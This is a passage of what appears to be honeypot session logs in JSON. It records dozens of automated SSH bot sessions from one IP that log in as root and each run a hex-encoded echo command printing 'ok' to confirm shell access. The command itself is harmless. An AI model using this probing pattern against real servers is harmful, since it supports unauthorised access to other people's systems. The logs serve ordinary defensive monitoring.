  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:07.499164+00:00",
  "ended_at": "2026-08-23T09:00:09.052878+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "345912cd-3f86-44a6-b6f6-f2704ab0e068",
  "name": "lofty-bashful-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:04.814496+00:00",
  "ended_at": "2026-08-23T09:00:06.694068+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03ae8812-d105-41b1-b131-e863e8eb4a26",
  "name": "sunlit-hidden-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:02.904191+00:00",
  "ended_at": "2026-08-23T09:00:04.096764+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fbdc6180-529d-4da7-a293-b07e2147c70d",
  "name": "kindly-lawful-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:00.952471+00:00",
  "ended_at": "2026-08-23T09:00:02.162713+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "58eaaef7-282c-4566-b32a-7927bba1f226",
  "name": "seaward-emerald-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:57.898326+00:00",
  "ended_at": "2026-08-23T09:00:00.157164+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2e11186-0ee8-4055-ba22-900af383e38b",
  "name": "tender-hazy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:55.674327+00:00",
  "ended_at": "2026-08-23T08:59:57.047808+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85b2a46d-e0d4-4160-848a-385edac5df2f",
  "name": "umber-prairie-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:53.576648+00:00",
  "ended_at": "2026-08-23T08:59:54.898666+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3da17af-06d2-46fd-bac4-21ff3dcdc992",
  "name": "northern-diligent-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:51.595603+00:00",
  "ended_at": "2026-08-23T08:59:52.904421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61e7b269-6675-46d8-880f-9bc3382d7542",
  "name": "fringed-supple-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:49.923214+00:00",
  "ended_at": "2026-08-23T08:59:50.917076+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f453f1de-64b1-4374-b85e-0355d2de74bf",
  "name": "inland-sincere-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:47.492084+00:00",
  "ended_at": "2026-08-23T08:59:49.262119+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f16b0418-60b4-49f8-9263-10f62213bf09",
  "name": "vaulted-painted-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:45.070028+00:00",
  "ended_at": "2026-08-23T08:59:46.768479+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "036a4746-e1f6-4ad8-98fd-7db14ce66b23",
  "name": "crystal-pleasant-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:42.800329+00:00",
  "ended_at": "2026-08-23T08:59:44.397590+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "163953b0-c09f-44d8-a7cb-9b16c5e72eb1",
  "name": "bashful-mighty-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:41.011904+00:00",
  "ended_at": "2026-08-23T08:59:42.040092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c54c8626-db1f-4aa2-bdbf-dedc715fa333",
  "name": "rugged-quartz-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:38.226931+00:00",
  "ended_at": "2026-08-23T08:59:40.227261+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d0d27005-769c-45c4-a7a5-f8589d137719",
  "name": "noble-amber-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:35.899223+00:00",
  "ended_at": "2026-08-23T08:59:37.405903+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c361f51f-d612-425d-89d7-8e10ecc79102",
  "name": "patient-loyal-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:32.985765+00:00",
  "ended_at": "2026-08-23T08:59:35.122273+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e5e18210-7d24-4316-bcc4-d1e942ae4e48",
  "name": "autumn-rambling-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:30.873818+00:00",
  "ended_at": "2026-08-23T08:59:32.320731+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ed02280-4956-49bf-bd9f-9b8fc03bff0b",
  "name": "supple-flinty-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:25.429894+00:00",
  "ended_at": "2026-08-23T08:59:30.135255+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6959029-7ce6-4b1a-a90d-09f403303117",
  "name": "windswept-gloomy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:23.454522+00:00",
  "ended_at": "2026-08-23T08:59:24.664728+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bc592b54-0fdc-4804-a721-1b2a7493cf48",
  "name": "vaulted-mossy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:21.418007+00:00",
  "ended_at": "2026-08-23T08:59:22.788244+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e678d1d2-2b98-486c-bc3f-616310bf4038",
  "name": "coral-canny-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:16.810143+00:00",
  "ended_at": "2026-08-23T08:59:20.721535+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8db1e1d9-a95d-4fcc-bc0e-ae3168b26714",
  "name": "sullen-mottled-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:14.167456+00:00",
  "ended_at": "2026-08-23T08:59:16.026634+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80f7f8a3-76c4-469d-bd3e-e8d17a84550f",
  "name": "vivid-dusty-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:11.472426+00:00",
  "ended_at": "2026-08-23T08:59:13.378073+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6da271a4-bb77-4cc1-a8bb-356f6616677c",
  "name": "chilly-lunar-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:07.514376+00:00",
  "ended_at": "2026-08-23T08:59:10.815003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5674d76-a147-40a9-a1ee-0359ee771bf8",
  "name": "somber-prairie-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:05.775904+00:00",
  "ended_at": "2026-08-23T08:59:06.658530+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b516a2db-612c-46ac-9fc6-73d3688311e3",
  "name": "foggy-sturdy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:03.044020+00:00",
  "ended_at": "2026-08-23T08:59:04.997285+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ef97f4e3-8c8e-483c-a749-1c5b111e4937",
  "name": "marine-solemn-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:59:00.854199+00:00",
  "ended_at": "2026-08-23T08:59:02.215029+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0a3fb9f6-632c-4fc4-9760-e111f8e290d2",
  "name": "weathered-grassy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:58.166182+00:00",
  "ended_at": "2026-08-23T08:59:00.164732+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c78c54e8-2d19-4296-98d1-ad4feaf917d6",
  "name": "dusky-snowy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:55.789529+00:00",
  "ended_at": "2026-08-23T08:58:57.361556+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5188deb-b024-4b34-a798-d983d6200e4f",
  "name": "burly-gnarled-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:53.284262+00:00",
  "ended_at": "2026-08-23T08:58:55.090336+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61adf6c1-f698-4b8f-9717-be1fcff79beb",
  "name": "salty-bold-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:51.571293+00:00",
  "ended_at": "2026-08-23T08:58:52.471852+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f29a66dd-4e5c-4da6-a2ae-c7ad1a5277e0",
  "name": "curious-lucid-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:49.426133+00:00",
  "ended_at": "2026-08-23T08:58:50.942634+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5dfa1eec-d5d0-41d9-8742-dbd91987909b",
  "name": "tangled-salty-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40648,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:47.167324+00:00",
  "ended_at": "2026-08-23T08:58:48.725771+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5aef7ecd-e1dd-418f-b6d5-f97f42bdd535",
  "name": "lanky-jaunty-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40640,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:45.366179+00:00",
  "ended_at": "2026-08-23T08:58:46.495733+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf34b59e-8a32-4fdf-9fb9-db3808663440",
  "name": "mottled-pleasant-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:43.265845+00:00",
  "ended_at": "2026-08-23T08:58:44.671924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9fc4fd2-1e75-4a06-96e5-4b9fd7bfc136",
  "name": "autumn-emerald-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:41.060574+00:00",
  "ended_at": "2026-08-23T08:58:42.591158+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d0f3f18-21c9-4d3e-8e3e-10c73a90c9d6",
  "name": "painted-fringed-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:38.110248+00:00",
  "ended_at": "2026-08-23T08:58:40.320619+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a581584b-73ea-452d-bf44-89c0a68687da",
  "name": "foggy-wooded-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:35.469237+00:00",
  "ended_at": "2026-08-23T08:58:37.465279+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "065d6d49-7861-4083-9d49-e954af65a97e",
  "name": "subtle-proud-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:33.042931+00:00",
  "ended_at": "2026-08-23T08:58:34.712838+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bbea95af-0e9e-4519-adbb-8cfca0bb849f",
  "name": "forlorn-orderly-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:30.741888+00:00",
  "ended_at": "2026-08-23T08:58:32.314472+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9d1fd40c-5fca-4758-9d3c-7098dca092d5",
  "name": "cheerful-scarlet-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:29.088190+00:00",
  "ended_at": "2026-08-23T08:58:30.108785+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "321be390-f39c-4e50-9a42-876430847ce7",
  "name": "grassy-indigo-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53696,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:26.227660+00:00",
  "ended_at": "2026-08-23T08:58:28.358127+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8994c1b7-9355-48ad-abc3-14f28ac80eec",
  "name": "ruddy-dusty-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:23.320352+00:00",
  "ended_at": "2026-08-23T08:58:25.495339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "837fdc32-0f02-4b78-a7d9-f0f7e1f8a011",
  "name": "crystal-ashen-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:21.700002+00:00",
  "ended_at": "2026-08-23T08:58:22.640668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e4b1fd3-0ff7-43a8-8463-c0a0096eda0b",
  "name": "vernal-drifting-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:19.125862+00:00",
  "ended_at": "2026-08-23T08:58:20.874047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "727348f8-2d4e-4eda-b958-7cbd24c44ae0",
  "name": "hidden-forlorn-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50680,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:16.348299+00:00",
  "ended_at": "2026-08-23T08:58:18.325381+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f45ec069-df6a-4916-9329-af3005364662",
  "name": "rapid-mossy-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:13.737949+00:00",
  "ended_at": "2026-08-23T08:58:15.729924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "35ac64c9-d2a4-4d14-902a-55d108a34cd6",
  "name": "courtly-deft-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:10.874332+00:00",
  "ended_at": "2026-08-23T08:58:12.953773+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6f36fe10-315f-4cd7-a449-7f6dc5fcfab3",
  "name": "hazy-wandering-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39740,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:58:08.142433+00:00",
  "ended_at": "2026-08-23T08:58:10.145486+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "485e16e7-fd3d-4252-8f5c-ec95d2b6b841",
  "name": "mighty-daring-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
